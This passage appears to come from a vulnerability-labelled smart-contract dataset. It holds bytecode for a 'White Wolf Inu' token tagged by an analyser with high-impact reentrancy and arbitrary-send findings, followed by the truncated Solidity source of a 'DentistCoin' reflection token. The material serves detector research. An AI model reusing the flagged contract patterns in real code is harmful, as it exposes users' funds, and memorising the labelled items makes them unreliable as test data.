0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600e81526020017f576869746520576f6c6620496e75000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5768697465576f6c660000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600c6009819055506005600881905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb5dbc81f7bfe79143557f4b78c3547e43357a70b59f24e1c2db18c7d55040e364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,912 |
0x8ecae54a5ace1b782bccc641b1e4a71406746fbd
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract DentistCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DentistCoin";
string private constant _symbol = "DEN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 921*10**6*10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 20;
uint256 private _charityFee = 30;
event ExcludeFromFee(address userAddress);
event IncludeInFee(address userAddress);
event UpdatedTaxFee(uint256);
event UpdatedCharityFee(uint256);
address payable private _charityAddress;
constructor(address payable addr1) {
_charityAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_charityAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function updateCharityAddress(address payable newCharity) external onlyOwner() returns(bool){
_charityAddress = newCharity;
return true;
}
function getCharityAddress() external view returns(address){
return _charityAddress;
}
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
